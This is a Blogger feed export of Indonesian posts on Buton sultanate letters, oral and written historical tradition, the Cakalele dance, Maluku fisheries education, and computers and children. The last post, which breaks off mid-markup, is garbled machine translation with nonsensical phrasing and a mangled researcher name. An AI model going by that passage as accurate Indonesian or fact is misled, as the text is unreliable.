juga bilangan tahun di akhir kolofon ini. Lihat penjelasan lebih lengkap pada pembicaraan tentang konteks kesejarahan K.Ak.98 (4). Penulisan `dualapan` untuk `delapan` dalam naskah-naskah Melayu lama dari Indonesia timur adalah khas dan hal itu dipengaruhi oleh basa ibu (mother tongue) si penulis atau si penyalin. Demikian juga halnya, “[d]alam beberapa bahasa Austronesia yang lain, bilangan sebelas s[ampai] d[dengan] sembilan belas tidak dibentuk seperti dalam bahasa Indonesia, melainkan berupa bilangan sepuluh disusul bilangan satuan, [seperti] sepuluh tujuh, bukan tujuh belas” (Henri Chambert-Loir, Kerajaan Bima dalam sastra dan sejarah. Jakarta: Kepustakaan Populer Gramedia & École Franęaise d`Extrême-Orient, hlm. 40).<br />[16] Kata yang disisipkan (lihat gambar).<br />[17] Tampaknya ada kesilapan dalam menuliskan tanggal pada kolofon ini: pertama ditulis `dualapan [8] Jumadilawal`, kemudian diubah menjadi `sembilan [9] Jumadilawal`. Karena kata `sembilan` disisipkan (berarti ditambahkan kemudian), maka logikanya mungkin `sembilan likur hari bulan Jumadilawal…tahun Jim…seribu dualapan puluh genap [1080 H]` adalah tarikh surat ini yang benar. Jika dikonversikan ke tahun Masehi, maka 9 Jumadilawal 1080 H = Sabtu, 5 Oktober 1669, dan 8 Jumadidlawal 1080 H = Jumat, 4 Oktober 1669. Huruf Jim dengan tiga titik di atas merujuk kepada nilai numerik tahun Jim yang digunakan dalam sirkulasi delapan tahunan sistem kalender Islam klasik di Asia Tenggara (Lihat Ian Proudfoot, Old Muslim calendar of Southeast Asia. Leiden-Boston: Brill, 2006). Menurut Ian Proudfoot tanda seperti itu biasanya hanya ditemukan pada naskah-naskah primbon Jawa dan jarang ditemukan dalam kolofon surat-surat Melayu (komunikasi pribadi, 18-4-2009).<br />[18] Salah satu sumber pribumi yang merekam hebatnya peperangan antara Kerajaan Gowa yang dipimpin Sultan Hasanuddin melawan VOC yang dipimpin Speelman adalah Syair Perang Mengkasar yang dikarang oleh Enci` Amin, jurutulis Sultan Hasanuddin sendiri. Lebih jauh mengenai syair ini, lihat C. Skinner (ed.), Syair Perang Mengkasar; sebuah reportase sastrawi bergaya Melayu dari jurutulis Sultan Hasanuddin tentang kejatuhan salah satu kerajaan besar di abad XVII (penerjemah: Abdul Rahman Abu) (Makassar: Ininawa, bekerjasama dengan KITLV Jakarta, 2008).<br />[19] Lihat Muridan Widjojo, `Cross-cultural alliance-making and local resistence in Maluku during the revolt of Prince Nuku, c.1780-1810` [PhD dissertation, Leiden University, 2007, hlm. 262].<br />[20] Dikutip dari transliterasi Hikayat Raja-Raja Siam yang dikerjakan oleh Monique Zaini-Lajoubert, berdasarkan naskah KITLV Leiden Or.75 dengan membandingkannya dengan versi UB Leiden Cod.Or.2011. Lihat: Monique Zaini-Lajoubert, Karya Lengkap Abdullah bin Muhammad al-Misri (Jakarta: École Franęaise d`Extrême-Orient), hlm. 145.<br />[21] Mengenai kepercayaan masyarakat Buton, lihat antara lain Pim Schoorl, Masyarakat, sejarah, dan budaya Buton (Jakarta: Djambatan, 2003).<br />[22] Keterangan ini berdasarkan Abdul Mulku Zahari, Sejarah dan adat fiy Darul Butuni (Buton) (Jakarta: Departemen Pendidikan dan Kebudayaan, 1977, Jilid II, hlm. 46-66) yang banyak merujuk kepada A. Ligtvoet, “Beschrijving en geschiedenis van Boetoen”, Bijdragen tot de Taal-, Land- en Volkenkunde 26 (1878): 1-112.<br />[23] Abdul Mulku Zahari (op.cit), hlm. 62-3.<br />[24] Lihat Suryadi, “Warkah-warkah Sultan Buton Muhyiuddin Abdul Gafur”, hlm. 227 [c.13].<br />[25] Demikianlah umpamanya, dalam surat raja-raja Bima di Pulau Sumbawa, ungkapan merendah yang lazim dipakai adalah: “… yang tiada dengan sepertinya, seupama daun kayu kering ditiup angin di tengah padang adanya” (dengan beberapa variasi kecil). Lihat: Suryadi, “Surat-surat Sultan Bima Abdul Hamid kepada Kompeni Belanda, koleksi Universiteitsbibliotheek Leiden”, makalah pada Simposium Internasional Pernaskahan Nusantara XI (Bima, Nusa Tenggara Barat, 26-28 Juli 2007).<br /><br />Website Terkait:<br />http://niadilova.blogdetik.com/2009/05/25/temuan-dokumen-sejarah-sulawesi-tenggara-surat-tertua-kerajaan-buton-dari-abad-ke-17/#comment-403</sembilan></pun></div><div class="post-footer" style="margin: 0.5em 0px; line-height: 1.6;"><br /></div></span></span>Jeffrey Riryhttp://www.blogger.com/profile/14559331934133217857noreply@blogger.com0tag:blogger.com,1999:blog-7934653146360007498.post-84183418234518499172010-08-28T11:23:00.000-07:002010-08-28T11:29:35.415-07:00Tradisi Sejarah Pada Masyarakat Yang Belum Mengenal Tulisan<span style="color: rgb(0, 0, 0);">> </span><span class="Apple-style-span" style="border-collapse: separate; color: rgb(0, 0, 0); font-family: 'Times New Roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span class="Apple-style-span" style="font-size: 12px; line-height: 16px;"><div class="post-body entry-content" style="width: 330px; line-height: 1.4; position: relative;"><span style="font-weight: bold;">I. Tradisi Sejarah Pada Masyarakat Yang Belum Mengenal Tulisan</span>.<br /><br /><span style="font-weight: bold;">Cara Masyarakat Yang Belum Mengenal Tulisan Mewariskan Masa Lalunya.</span><br />Kemampuan manusia dalam berbicara menggunakian bahasa lisan dalam masyarakat yang belum mengenal tulisan, bukan berarti mereka tidak punya kemampuan untuk merekam dan mewariskan pengalaman masalalunya. Dengan potensi adalah tradisi lisanlah mereka merekam dan mewariskan masa lalunya.<br /><br />Tradisi lisan dapat di artikan sebagai kebiasaan atau adat berkembang dalam suatu komunitas masyarakat yang direkam dan diwariskan dari generasi ke generasi melalui bahasa lisan. Dalam tradisi lisan terkandung kejadian – kejadian sejarah, adat istiadat, cerita, dongeng, pribahasa, lagu, mantra, nilai moral, dan nilai keagamaan.<br /><br />Dalam tradisi lisan, peranan orang yang dituakan seperti kepala suku atau ketua adat sangat penting. Mereka diberi kepercayaan oleh kelompoknya untuk memelihara dan menjaga tradisi yang diwariskan secara turun temurun.<br /><br />Satu kelompok masyarakat dengan nilai, norma, tradisi, adat dan budaya yang sama akan mempunyai jejak – jejak masa lampaunya. Dalam masyarakat yang belum mengenal tulisan jejak-jejak masa lampaunya disebarluaskan dan diwariskan secara turun temurun kepada generasi berikutnya secara lisan sehingga menjadi bagian dari tradisi lisan. Karya-karya dalam tradisi lisan merupakan bagian dari sebuah folklore.<br /><br /><span style="font-weight: bold;">Cara Masyarakat yang Belum Mengenal Tulisan Mengembangkan Tradisi Sejarah</span><br />Dalam masyarakat yang belum mengenal tulisan yang dimaksud dengan tradisi sejarah adalah dalam bentuk mempertahankan adapt istiadat, petuah leluhur dan tradisi yang berkembang di masyarakat. Cara mereka mengembangkan tradisi sejarah adalah dengan mewariskannya secara lisan melelui ingatan kolektif anggota masyarakatnya.<br />Cara lain adalah dalam bentuk dibuatnya sebuah karya seperti lukisan, monumen, tugu,dan peralatan hidup. Kegiatan tersebut merupakan bagian dari pengembangan tradisi sejarah untuk diwariskan kepada generasi berikutnya yang melihat karya itu. contohnya dalam bentuk lukisan di dinding gua, tugu, dan monumen yang berhubungan dengan kepercayaan animisme, perkakas yang terbuat dari batu maupun logam dan kepercayaan terhadap arwah nenek moyang.<br /><br /><span style="font-weight: bold;">Jejak Sejarah Dalam Foklore (Mitos, Legenda, Dongeng, Lagu Rakyat dan Upacara Adat).</span><br />Folklore diartikan sebagai sekelompok orang (komunitas) yang memiliki ciri-ciri pengenal fisik (bahasa, rambut, warna kulit), sosial dan budaya sehingga dapat dibedakan dari kelompok masyarakat lainnya. Ciri-ciri folklore adalah sebagai berikut: penyebaran dan pewarisannya lebih banyak secara lisan, bersifat tradisional, bersifat anonym (pembuatannya tidak diketahui), kolektif (menjadi milik bersama dari sebuah kelompok masyarakat ), mempunyai pesan moral bagi generasi berikutnya.<br /><br /><span style="font-weight: bold;">Menurut Harold Brunvan (USA), folklore terbagi kedalam tiga tipe yang meliputi :</span><br /><br />1. folklore lisan merupakan fata mental (mentifact) diantaranya : logat bahyasa (dialek)<br />dan bahasa tabu, ungkapan tradisional dalam bentuk pribahasa dan sindiran, puisi<br />rakyat yang meliputi mitos legenda, dongeng .<br /><br />2. folklore sebagai lisan merupakan fakta social (sosiofact) diantaranya dalam bentuk<br />kepercayaan dan takhayul, permainan rakyat, tarian rakyat, teater rakyat, dan upacara<br />tradisional.<br /><br />3. folklore bukan lisan merupakan artefak (artifact), diantaranya dalam bentuk : arsitektur<br />bangunan rumah adat (tradisional), seni kerajinan tradisional, pakaian tradisional,<br />obat-obatan tradisional, alat musik tradisional, senjata tradisional, makanan<br />tradisional.<br /><br /><span style="font-weight: bold;">Mitos</span><br />Dalam prosa rakyat dikenal dengan yang namanya mitos, legenda dan dongeng . mitos adalah cerita rakyat yang dianggap benar-benar terjadi dan dianggap suci oleh masyarakatnya. Mitos pada umumnya mengisahkan tentang dewa, penciptaan alam semesta, manusia dan kehidupan awal. Beberapa contoh mitos adalah : Leak di Bali, Rorokidul di Jawa, Dewi Sri (dewi padi), dll.<br /><br /><span style="font-weight: bold;">Legenda</span><br />Legenda biasanya diartikan cerita rakyat yang berisi tentang terbentuknya (terjadinya ) suatu wilayah. Menurut Halrod Brunvand ada 4 macam :<br /><br />1. legenda keagamaan berisi tentang cerita orang-orang yang dianggap suci atau saleh<br />dengan tambahan segala macam keajaiban, kesaktian dan benda-benda keramat,<br />contoh : Wali Sanga, Sunan Kali Jaga, Syekh Siti Jenar, dll.<br />2. legenda alam gaib adalah cerita yang berhubungan dengan kepercayaan dan<br />takhayul yang berhubungan dengan keghaiban. Biasanya menceritakan tentang<br />hantu, genderewo, sundel bolong atau mahluk jadi-jadian. Contohnya cerita Si Manis<br />Jembatan Ancol (Betawi), Kisah Harimau menjelma Raja Siliwangi (Sunda), kisah<br />orang Bunian (Sumatera), kuntilanak, dll.<br />3. legenda lokal adalah cerita tentang asal mula terjadinya (terbentuknya) nama suatu<br />tempat , danau, gunung,bangunan dll. Contohnya : cerita terbentuknya Danau Toba<br />(Sumut) , kisah Sangkuriang (Sunda), Roro Jongrang (Jateng), terbentuknya gunung<br />Batok dan nama Tengger (Jawa),dll.<br />4. legenda perseorangan adalah cerita rakyat tentang tokoh-tokoh yang dianggap dan<br />diyakini oleh suatu masyarakat pernah ada. Pada umumnya mengisahkan tentang<br />kepahlawanan, kesaktian atau kisah cinta dari tokoh tersebut. Contohnya : kisah Si<br />Pitung, Nyai Dasima (Betawi), Sabai Nan Aluih, Si Pahit Lidah (Sumbar), cerita Panji<br />Warok Suro Menggolo (Jatim), Joko Tingkir, Roro Mendut (Jateng), Lutung Kasarung,<br />Mundinglaya di Kusuma (Jabar), Jayaprana dan Layon Sari (Bali).<br /><br /><span style="font-weight: bold;">Dongeng</span><br />Dongeng adalah cerita rakyat yang bersifat khayal, sama sekali tidak pernah terjadi dan hanya bersifat hiburan tetapi di dalamnya mengandung pesan moral, petuah dan sindiran. Dongeng dapat digolongkan ke dalam bentuk dongeng binatang, dongeng manusia dan dongeng jenaka.<br /><br />Pada umumnya dongeng binatang disebut Fabel, di Jawa dan Bali dinamakan Tantri . di Indonesia tokoh binatang yang paling terkenal adalah kancil yang digambarkan sebagai binatang yang cerdik dan banyak akal. Selain itu adalah tokoh kera, kura-kura, buaya, harimau, keong, kerbau, anjing, kucing, tikus, dll.<br /><br />Dongeng manusia biasanya menceritakan tokoh manusia dengan segala macam kisah suka dukanya. Di beberapa daerah dongeng manusia kadang-kadang bertema sama yang membedakan hanya nama dan lokasinya saja. Dongeng dengan tema seorang pemuda mencuri pakaian bidadari yang sedang mandi adalah Jaka Tarup (Jatim). Pasir Kujang (Jabar), Raja Pala (Bali). Dongeng tentang penderitaan anak gadis karena ulah saudara dan ibu tirinya adalah bawang merah bawang putih (Betawi).<br /><br />Dongeng jenaka adalah dongeng yang tokohnya bersifat bodoh, lugu, pander, jenaka tapi banyak akalnya. Tokoh dongeng jenaka adalah : Si Kabayan (Sunda), Lebai Malang, Pak Belalang (Melayu).<br /><br /><span style="font-weight: bold;">Nyanyian (Lagu) Rakyat</span><br />Nyanyian rakyat (folksong) adalah bentuk puisi yang dinyanyikan sehingga kata syair dan lagu nada merupakan satu kesatuan. Menurut materinya lagu rakyat di bedakan atas lagu anak, lagu umum, lagu religius. Berdasarkan fungsinya dibedakan menjadi : lagu mengiringi tarian, lagu untuk mengiringi permainan dan lagu untuk dinyanyikan.<br />Lagu anak banyak pula yang digunakan untuk mengiringi tarian atau permainan, contoh : cublak-cublak suweng, cingcangkeling, pokame-ame, dll. Lagu umum ada pula yang dinyanyikan untuk mengiringi tarian atau dinyanyikan biasa seperti kicir-kicir, jail-jali (Betawi) ampar pisang (Kalimantan). Lagu religius umumnya berisi pujian terhadap tuhan , dinyanyikan pada upacara yang berhubungan dengan kehidupan seperti kelahiran, perkawinan, panen, dll. Ada pula yang dipakai untuk mengiringi tarian seperti tari saman dan seudati (Aceh).<br /><br />Di Jawa Tengah dan Timur salah satu bentuk nyanyian rakyat dikenal dengan nama gending seperti sinom, pucung, asmarandana, dll. Sedangkan di Jawa Barat yang seperti itu dinamakan dengan pupuh.<br /><br /><span style="font-weight: bold;">Adat Kebiasaan</span><br />Upacara adat biasanya didasari oleh sebuah kepercayaan, upacara yang dilakukan dimaksudkan untuk mendapatkan sebuah kebaikan atau menghindarkan diri dari malapetaka dalam kehidupan masyarakat yang melakukannya. Contohnya upacara larung samudro di pantai selatan Jawa, pesta laut di pantai utara Jawa, kasodo di Tengger (Gunung Bromo), Seketan, Grebeg (Yogyakarta dan Surakarta) panjang jimat (Cirebon).<br /><br />Selain yang berhubungan dengan mitos dan legenda, banyak pula upacara adat yang berhubungan dengan siklus kehidupan mulai dari masa kehamilan, kelahiran, sunatan, perkawinan, dan Kematian.<br /><br /><br /><span style="font-weight: bold;">II. Tradisi Sejarah pada Masyarakat yang Telah Mengenal Tulisan</span><br /><br /><span style="font-weight: bold;">1. Tradisi Sejarah Masyarakat di Indonesia</span><br /><br /><span style="font-weight: bold;">Pengaruh Tulisan dan Karya Lontar</span><br />Sejak masyarakat Indonesia mengenal tulisan (memasuki jaman sejarah ) sebenarnya tradisi sejarah pada masyarakat Indonesia telah terbentuk melalui berbagai prasasti yang ada. Perkembangannya kemudian diperluas dengan kemampuan masyarakat dalam berkomunikasi dan perkembangan bahasa di Indonesia. Bahkan kemudian muncul golongan masyarakat yang mempunyai kemampuan untuk mengubah atau menulis berbagai karya sastra. Naskah-naskah karya sastra kuno tersebut di tulis pada daun lontar sehingga lebih dikenal dengan istilah kitab lontar.<br /><br />Contoh prasasti di beberapa daerah di Indonesia: prasasti kutai berbahasa sansakerta dan tulisan palawa (dari kerajaan kutai), prasasti dari kerajaan trauma yang berbahasa sansakerta dan tulisan pallawa, prasasti dari kerajaan Sriwijaya pada umumnya memakai bahasa melayu dan tulisan sansakerta, prasasti dari Mataram kuno pada umumnya ditulis dengan huruf pallawa bahasa sansakerta tetapi telah mulai ada tulisan dan bahasa Jawa kuno.<br /><br />Selain tulisan dan bahasa tradisi sejarah di Indonesia dipengaruhi pula oleh perkembangan karya sastra, contohnya kitab Ramayana dan Mahabarata yang berasal dari India diubah dalam bahasa jawa kuno (dari jaman mataram kuno). Kitab Arjuna Wiwaha karya Mpu Kanwa, Samaradhahana karya Mpu Dharmaja, Hariwangsa, Gatotkacasraya karya Mpu Panuluh, Bharatayudha karya Mpu Sedah dan Mpu Panuluh (dari jaman Kediri). Kitab Negara Kertagama karya Mpu Prapanca, Sutasoma, Arjuna wijaya karya Mpu Tantular, Kutaramanawa karya Gajah Mada, Pararaton, Sundayana (dari jaman Majapahit).<br /><br /><span style="font-weight: bold;">Tradisi Sejarah dalam Lingkungan Istana</span><br />Pada umumnya tradisi sejarah di Indonesia berada dalam lingkungan keraton (istana sentries) dimana hasilnya dikenal dengansejarah tradisional (historiografi tradisional). Dalam lingkungan keraton terdapat orang yang ahli menuliskan tradisi sejarah disebut pujangga. Para pujangga menuliskan silsilah keluarga raja, kebijaksanaan raja, hukum maupun karya sastra. Untuk memperkuat tulisannya biasanya para pujangga menggunakan mitos dan legenda dalam tradisi sejarahnya, sehingga tokoh raja dalam tulisannya akan mendapatkan pulung (charisma) yang diwariskan penguasa sebelumnya<br />Contoh karya historiografi tradisional : Kitab Pararaton, Sundayana, Pustaka Wangsakerta, Carita Parahyangan, Babad Tanah Jawi, Babad Cirebon, sejarah melayu, kronik Wajo, kronik Kutai, Negarakertagama, Sutasoma, dll.<br /><br /><br /><span style="font-weight: bold;">Tradisi Sejarah Lokal</span><br /><br />Selain tradisi sejarah dalam lingkungan istana, tradisi sejarah berkembang pula beberapa daerah, wilayah (lokal) tertentu. Sejarah lokal dapat diartikan sebagai sejarah dari kelompok masyarakat yang berbeda dalam daerah dan geografis tertentu, walaupun sebenarnya sulit untuk menentukan batas-batas geografisnya. Contoh sejarah lokal adalah buku "Pemberontakan Petani Banten 1888" karangan Hartono Kartodirdjo, sejarah Jawa Barat dll.<br /><br /><span style="font-weight: bold;">III, Penulisan Sejarah di Indonesia</span><br />Historiografi adalah tahap akhir dari metode penelitian sejarah, yang dituliskan dalam sejarah merupakan cara untuk mengetahui dan memahami jejak masa lampau manusia. Perkembangan penulisan sejarah di Indonesia terbagi atas tiga corak yaitu : tradisional, colonial, nasional.<br /><br />Ketiga historiografi tersebut tidak didasari oleh pendekatan ilmiah, tetapi hanya untuk legitimasi penguasa dan kekuasaan, bersifat politis dan berisi pembenaran terhadap identitas dan menunjukan kejayaan dari penguasa.<br /><br /><span style="font-weight: bold;">Historiografi Tradisional</span><br />Dalam historiografi tradisional, penulisannya tidak bertujuan untuk mengungkap fakta dan kebenaran sejarah. Historiografi tradisional didominasi oleh lingkungan keraton. Para Raja mempunyai kepentingan untuk melegitimasi kekuasaan dan mewariskannya kepada generasi berikutnya.<br /><br />Historiografi tradisional bersifat ento sentries (kedaerahan), istana sentries (lingkungan keraton) dan magis religius (dilandasi unsur magis dan kepercayaan), makanya hasil historiografi tradisional selain dalam bentuk sejarah ada pula dalam bentuk sastra, babad, kronik, dll.<br /><br />Dalam historiografi tradisional tokoh sejarahnya sering dihubungkan dengan tokoh popular jaman dahulu bahkan dengan tokoh yang ada dalam mitos maupun legenda . hal ini di maksudkan untuk mengukuhkan dan melegitimasi kekuasaan, identitas dari tokoh tersebut serta untuk mendapatkan pulung (charisma) yang diwariskan dari tokoh-tokoh sebelumnya.<br /><br />Contoh dalam kitab Negarakertagama , Ken Arok (Raja Singosari pertama) dianggap sebagai anak Dewa Brahma dan titisan Dewa Wisnu, dalam babad tanah jawi disebutkan bahwa raja Mataram Islam pertama merupakan keturunan dari para nabi , tokoh wayang dalam Mahabharata, Iskandar Agung dari Macedonia, raja-raja Jawa bahkan punya hubungan dengan Nyai Roro Kidul penguasa pantai selatan.<br /><br /><span style="font-weight: bold;">Historiografi Kolonial</span><br />Historiografi colonial tentunya tidak lepas dari kepentingan penguasa colonial dalam melanggengkan imperialismenya di Indonesia. Kepentingan itu termasuk interpretasi mereka terhadap fakta sejarah. Contohnya: berbagai perlawanan yang terjadi pada masa kolonial seperti perang Aceh, Diponogoro, Padri, dll. Dalam pandangan historiografi kolonial dianggap sebagai tindakan ekstrimis, pemberontakan yang harus ditumpas karena dianggap mengganggu stabilitas pemerintahan. Sedangkan menurut sejarah nasional dianggap sebagai pejuang dan pahlawan yang bertujuan mengusir kolonial.<br /><br />Dalam historiografi kolonial yang bersifat neerlando sentries, VOC merupakan pemersatu, demikian juga dengan kemerdekaan Indonesia, yang menurut versi Belanda adalah 27 desember 1949 melalui penyerahan kedaulatan sebagai realisasi dari KMB, sedangkan bangsa Indonesia mengakui kemerdekaan pada tanggal 17 agustus 1945.<br /><br /><span style="font-weight: bold;">Historiografi Nasional</span><br />Perkembangan historiografi Indonesia (nasional) pertama kali muncul justru pada saat kondisi didominasi historiografi kolonial . momentum tersebut muncul ketika pada 1913, Husein Djayadiningrat menerbitkan buku hasil desertasinya yang berjudul tinjauan kritis sejarah banten. Buku tersebut bahkan memenuhi kriteria sebagai sejarah modern (ilmiah ) karena memuat uraian dari berbagai aspek(politik, sosial, ekonomi, dan fisiologi).<br /><br />Upaya perintisan historiografi nasional (penulisan sejarah nasional) muncul kembali setelah memasuki jaman kemerdekaan. Hal itu dirasa perlu karena penulisan sejarah yang ada adalah warisan kolonial yng bersifat neerlando sentries, dimana Indonesia dilihat dari sudut pandang dan kepentingan kolonial Belanda.<br /><br />Sebagai Negara yang baru merdeka mutlak di perlukan sebuah historiografi nasional sebagai identitas yang akan menunjukan jati diri sebagai bangsa Indonesia. Pemerintah yang baru terbentuk juga menghendaki legitimasi kekuasaan bukan hanya dari rakyat , yang lebih penting adalah pengakuan internasional terhadap keberadaan bangsa dan Negara Indonesia yng merdeka.<br /><br />Seminar sejarah nasional di Yogjakarta 1957, menjadi titik tolak kebangkitan historiografi nasional. Hal yang paling penting dari seminar tersebut adalah: pencarian identitas nasional, rekonstruksi penulisan sejarah nasional dari kolonial sentries menjadi Indonesia sentries sehingga sejarah nasional dapat menjadi alat pemersatu bangsa.<br /><br /><br /><br />Sumber tulisan:<br /><br />http://sejarahundonesiamerdeka.blogspot.com/2008/07/tradisi-sejarah-dalam-masyarakat.html</div></span></span>Jeffrey Riryhttp://www.blogger.com/profile/14559331934133217857noreply@blogger.com1tag:blogger.com,1999:blog-7934653146360007498.post-66327042367716237772010-08-26T17:12:00.000-07:002010-08-26T23:48:52.368-07:00Tarian Perang "Cakalele"<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiP8mTvse_G6o6xoH4T9KJiTJxm2OcSm-yPRwR-P834ZWOaIg2-lA13slYWUIQnBCpLYPvIi_VH7jLxeuxWKFGh_GiiJs7uhg5xorFZoNscqBrpJ9LLhqJFuGcYupQeHxD8WIlQ33sKcY6Y/s1600/34242_139052036112720_100000237738408_293939_4215013_n.jpg"><br /><br /><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 200px; height: 200px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiP8mTvse_G6o6xoH4T9KJiTJxm2OcSm-yPRwR-P834ZWOaIg2-lA13slYWUIQnBCpLYPvIi_VH7jLxeuxWKFGh_GiiJs7uhg5xorFZoNscqBrpJ9LLhqJFuGcYupQeHxD8WIlQ33sKcY6Y/s200/34242_139052036112720_100000237738408_293939_4215013_n.jpg" alt="" id="BLOGGER_PHOTO_ID_5509887186495487106" border="0" /></a>Jeffrey Riryhttp://www.blogger.com/profile/14559331934133217857noreply@blogger.com0tag:blogger.com,1999:blog-7934653146360007498.post-59542848219855470132010-08-14T04:21:00.000-07:002010-08-14T04:21:15.495-07:00My Photo<a href="http://goo.gl/photos/gdZ6" imageanchor="1" style="clear: right; margin-bottom: 1em; margin-left: 1em;"><img src="http://lh3.ggpht.com/_6VBDU06ln3Q/S-9fkdyiRaI/AAAAAAAAAE4/JanL8N9eE_k/s512/mbl%3Bml%3Bcmb%2C%3Bc%2C%3Bc.jpg" border="0" /></a>Jeffrey Riryhttp://www.blogger.com/profile/14559331934133217857noreply@blogger.com0tag:blogger.com,1999:blog-7934653146360007498.post-42203301420102480572010-08-12T18:53:00.000-07:002010-08-12T18:55:13.834-07:00Pengembangan SDM Perikanan di Maluku Tidak Fokus<span class="Apple-style-span" style="border-collapse: separate; color: rgb(0, 0, 0); font-family: 'Times New Roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span class="Apple-style-span" style="color: rgb(51, 51, 51); font-family: 'lucida grande'; font-size: 13px; line-height: 19px; text-align: left;">Ambon: Program pengembangan sumber daya manusia dalam bidang ilmu perikanan maupun kelautan di Maluku tidak fokus pada sasaran pengelolaan sumberdaya alam laut yang sangat potensial. “Kita memang sudah memiliki Fakultas Perikanan di Universitas Pattimura maupun Akademi Maritim Maluku, tapi dalam penerapan ilmunya belum terlalu dipusatkan pada upaya pengelolaan SDA kelautan secara maksimal,” kata Sekretaris komisi B DPRD Maluku, La Ode Alimin di Ambon, Jumat.<br /><br />Masalah pengembangan SDM bidang perikanan dan bahari di Maluku sebenarnya tidak kalah dengan daerah lain di Indonesia karena Maluku sudah dikenal cukup menguasai tekhnik perkapalan dan perikanan.<br /><br />Apalagi Kementrian Pendidikan Nasional bersama Kementrian Kalautan dan Perikanan telah diinstruksikan Presiden SBY segera menyiapkan lembaga pendidikan bahari di daerah ini, ketika meresmikan acara puncak kegiatan internasional Sail Indonesia ke-X di Ambon, Selasa (3/8) lalu.<br /><br />“Kepala Negara memang tidak mencanangkan Maluku sebagai lumbung ikan nasional tapi menyatakan dukungannya, sebab program ini membutuhkan payung hukum berupa Inpres atau keputusan khusus dari Presiden,” katanya.<br /><br />Bila program Pemerintah Pusat seperti ini direalisasi, maka lembaga pendidikan yang bertujuan memajukan SDM bidang perikanan dan bahari semakin banyak, hanya saja dibutuhkan keseriusan pemprov bersama masyarakat.<br /><br />Selain itu, persoalan kepemilikan modal jadi kendala utama bagi masyarakat untuk mengembangkan usaha perikanan dalam skala besar, baik untuk petani dan nelayan dan kelompok-kelompok usaha lokal, sedangkan penguatan permodalan ini justeru dimiliki oleh orang dari luar daerah.<br /><br />“Kalau dijadikan daerah lumbung ikan nasional, investor akan datang melakukan pemesanan dalam jumlah besar setiap bulan atau tahun dan harus dipenuhi, dan mereka tidak perlu melakukan penangkapan sendiri,” katanya.</span></span>Jeffrey Riryhttp://www.blogger.com/profile/14559331934133217857noreply@blogger.com0tag:blogger.com,1999:blog-7934653146360007498.post-57993419112026180672010-08-12T18:30:00.000-07:002011-03-23T12:06:10.448-07:00Komputer dan Anak<span onmouseover="_tipon(this)" onmouseout="_tipoff()"><b><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;" ><span style="color: rgb(51, 102, 255);">Apakah komputer benar-benar memotivasi anak untuk belajar lebih cepat dan lebih baik?</span><br /><br /></span></b></span><span class="Apple-style-span" style="border-collapse: separate; color: rgb(0, 0, 0); font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;font-family:'Times New Roman';font-size:16;" ><span class="Apple-style-span" style="border-collapse: collapse; line-height: 18px;font-family:'trebuchet ms';font-size:14;" ><p style="margin: 0px 0px 0.5em;"><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;" >Anak-anak harus mulai belajar pada komputer sedini mungkin, kita diberitahu, untuk mendapatkan melejitkan keberhasilan.</span></span><span class="Apple-converted-space"> </span><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;" >Tapi 30 tahun penelitian tentang teknologi pendidikan telah menghasilkan hanya satu hubungan yang jelas antara komputer dan belajar anak-anak.</span></span><span class="Apple-converted-space"> </span><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;" >Drill-dan-praktek program muncul untuk meningkatkan nilai sederhana - meskipun tidak sebanyak atau semurah satu-satu les - pada beberapa tes standar, di daerah keterampilan sempit, catatan Larry Kuba dari Stanford University.</span></span><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;" >"Selain itu," kata, mantan presiden Kuba dari American Educational Research Association, "tidak ada komandan, tubuh jelas bukti bahwa 'berkelanjutan siswa multimedia menggunakan mesin, Internet, pengolah kata, spreadsheet, dan aplikasi populer lainnya telah dampak pada prestasi akademik. "</span></span></p><p style="margin: 0px 0px 0.5em;"><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;" >Kekuatan teknologi informasi belaka sebenarnya mungkin menghambat pertumbuhan intelektual anak-anak muda.</span></span><span class="Apple-converted-space"> </span><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;" >Apa yang baik bagi orang dewasa dan tua siswa sering tidak sesuai untuk anak-anak.</span></span><span class="Apple-converted-space"> </span><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;" >-Muka Face percakapan dengan lebih pengguna bahasa yang kompeten, misalnya, adalah salah satu faktor konstan dalam studi tentang bagaimana anak-anak menjadi ahli speaker, pembaca, dan penulis.</span></span><span class="Apple-converted-space"> </span><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;" >Waktu untuk bicara nyata dengan orang tua dan guru sangat penting.</span></span><span class="Apple-converted-space"> </span><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;" >Demikian pula, keberhasilan akademis membutuhkan fokus perhatian, mendengarkan, dan ketekunan.</span></span></p><p style="margin: 0px 0px 0.5em;"><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;" >Komputer - seperti televisi - bisa menjadi babysitter memesona.</span></span><span class="Apple-converted-space"> </span><span 